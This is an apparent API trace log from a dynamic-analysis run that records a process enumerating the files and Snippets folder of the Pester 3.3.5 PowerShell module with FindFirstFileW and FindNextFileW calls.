	[0182.688] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.688] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1
	[0182.688] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.688] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1
	[0182.688] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.689] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1
	[0182.689] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.689] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1
	[0182.689] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.689] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1
	[0182.689] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.690] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1
	[0182.690] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.690] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1
	[0182.690] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.690] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1
	[0182.690] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.690] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1
	[0182.691] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.691] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.691] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.691] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0182.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0182.693] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0182.693] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1
	[0182.693] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1
	[0182.693] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1
	[0182.693] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1
	[0182.693] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.693] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1
	[0182.694] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1
	[0182.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4044f98
	[0182.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.707] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.707] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.707] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.707] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.707] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.708] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.708] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.708] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.708] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.708] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.708] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.709] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.709] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.709] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0182.709] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1
